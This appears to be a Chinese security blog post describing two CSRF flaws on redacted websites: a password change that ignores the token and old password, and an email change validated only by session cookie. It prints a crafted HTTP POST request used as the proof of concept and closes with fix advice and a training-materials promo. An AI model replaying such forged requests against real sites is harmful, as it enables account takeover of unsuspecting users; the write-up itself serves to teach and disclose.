案例1:
缺陷1:登陆后更新修改密码,不需要传输旧密码就可以修改
缺陷2:虽然参数有token,但是删除后仍然可以修改,说明实际没有对token进行校验
删除了狐假虎威的token,发现这里的token参数并没有卵用
【可以修改密码处抓包,不需要输入旧密码,不需要token】
构造csrf的poc:
POST /?m=Member&a=index HTTP/2
Host: xxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/javascript, /; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 123
Origin: xxxxx
Referer: xxxxxxx
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
method=PUT&phone=xxxxx&name=zbs&oldpassword=&password=12345678&repassword=12345678
【cookie值、token、旧密码三个参数都已删除】
登陆账号访问csrf页面:
密码已成功通过csrf修改为12345678:
说明了看到token不一定代表没有csrf漏洞,有可能只是在狐假虎威。
案例2:
漏洞url处可以修改邮箱,此时邮箱为xxxx@163.com:
截取数据包:
发现只通过cookie的session值进行验证
构造csrf:
更改为xxx@qq.com
登录后访问csrf页面:
修改成功:
再次登录发现邮箱被修改
并且找回密码通过邮箱验证:
漏洞修复建议:
1.修复文章中的缺陷;
2.该接口的查询添加Token :Cookie里面有一段随机值,和请求包里面的GET或者POST传参有一个关联
申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
免费领取安全学习资料包!
渗透工具
技术文档、书籍
面试题
帮助你在面试中脱颖而出
视频
基础到进阶
环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等
应急响应笔记
学习路线